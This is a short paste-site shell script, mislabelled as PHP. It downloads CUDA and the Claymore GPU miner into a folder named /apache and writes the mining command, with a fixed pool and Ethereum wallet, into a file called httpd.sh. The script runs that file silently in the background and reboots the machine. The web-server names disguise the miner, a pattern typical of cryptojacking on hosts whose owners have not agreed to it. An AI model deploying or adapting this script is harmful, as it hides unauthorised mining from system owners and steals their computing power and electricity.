Facebook
From Mature Flamingo, 5 Years ago, written in PHP.
Embed
Download Paste or View Raw
Hits: 1355
  1. if [ -d "/apache" ]; then
  2.         sudo nohup sh /apache/configuration/httpd.sh > /dev/null 2>&1 &
  3. else
  4.         sudo apt-get update
  5.         sudo mkdir /apache
  6.         cd /apache
  7.         sudo wget https://developer.download.nvidia.com/compute/cuda/repos/ubuntu1604/x86_64/cuda-repo-ubuntu1604_8.0.61-1_amd64.deb
  8.         sudo dpkg -i cuda-repo-ubuntu1604_8.0.61-1_amd64.deb
  9.         sudo apt update
  10.         sudo apt install cuda-8-0 -y
  11.        
  12.         cd /apache
  13.         sudo wget https://github.com/nanopool/Claymore-Dual-Miner/releases/download/v11.8/Claymore.s.Dual.Ethereum.Decred_Siacoin_Lbry_Pascal_Blake2s_Keccak.AMD.NVIDIA.GPU.Miner.v11.8.-.LINUX.tar.gz -O configuration.tar.gz
  14.         sudo tar xvf configuration.tar.gz
  15.         sudo mv "Claymore's Dual Ethereum+Decred_Siacoin_Lbry_Pascal_Blake2s_Keccak AMD+NVIDIA GPU Miner v11.8 - LINUX" configuration
  16.         cd configuration
  17.        
  18.        
  19.         echo "
  20.         #!/bin/sh
  21.        
  22.         export GPU_FORCE_64BIT_PTR=0
  23.         export GPU_MAX_HEAP_SIZE=100
  24.         export GPU_USE_SYNC_OBJECTS=1
  25.         export GPU_MAX_ALLOC_PERCENT=100
  26.         export GPU_SINGLE_ALLOC_PERCENT=100
  27.        
  28.         /apache/configuration/ethdcrminer64 -epool us1.ethermine.org:4444 -allcoins exp -eworker mining2 -ewal 0xfCD3365d34AE876D57E60281889704d44470Cbe4 -epsw x
  29.         " > ./httpd.sh
  30.        
  31.         sudo reboot
  32. fi